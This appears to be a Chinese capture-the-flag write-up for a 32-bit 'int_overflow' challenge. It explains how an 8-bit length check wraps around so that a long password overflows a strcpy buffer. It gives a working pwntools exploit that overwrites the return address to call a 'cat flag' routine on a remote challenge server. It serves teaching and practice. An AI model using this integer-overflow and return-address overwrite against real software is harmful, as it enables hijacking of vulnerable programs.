int_overflow
第一次写pwn
下载附件 查壳 没壳且是32位
main()函数
login()函数
关键函数 check_password()
查看有什么字符
可以利用 cat flag 读取flag
首先看check_password()函数
v3 为 unsigned _int8 型的 为8字节 可以 存储的长度 2的8次方=256
v3等于 s的长度
如果v3>=3&&v3<=8 则 是 success
而且可以看到 后边有 strcpy()函数 这里可以进行栈溢出,将s的数据存入到dest中
可以看到dest的长度是14,如果s的长度足够大,将cat flag的地址覆盖到返回地址那,就可以实现读取flag
但是前边有条件 v3是大于3小于8的 此时可以利用整数溢出
v3可以存储最大的长度是256 如果大于这个数将会进行高位截取 对256求余 例如 v3=257 实际多余的部分会直接忽略 等于1
所以 这里s的长度可以是3~8 或者 259~264
这里只要输入s的长度在259~264之间就可以溢出
这里取264
因为要利用 cat flag 这个来获得flag 所以查看一下地址
flag_addr=0x08048694
首先存储dest里的0x14 然后再看一下汇编代码
函数结尾有个 leave 指令 leave 指令等于 mov esp,ebp和 pop ebp 两条指令的组合,也就是说,在覆盖函数放回地址之前,还有一次出栈操作,出栈数据大小 4 字节,所以要将这个出栈的数据覆盖掉
然后jmp会跳转到下边
NOP"指令即空指令, 2. 运行该指令时单片机什么都不做,但是会占用一个指令的时间
然后就是返回地址了
所以构造paylod="a"*0x14+"aaaa"+p32(0x08048694)+"A"*234(262-0x14-4-4) ///0x14 =十进制20
写exp
form pwn import *
sh=remote("111.198.29.45",43982) //连接这个服务器端口
sh.sendlineafter("choice:","1")
sh.sendlineafter("username:","132")
flag_addr = 0x08048694
payload = "A" * 0x14 + "AAAA" + p32(flag_addr) + "A" * 234
sh.sendlineafter("password:",payload)
print (sh.recvall())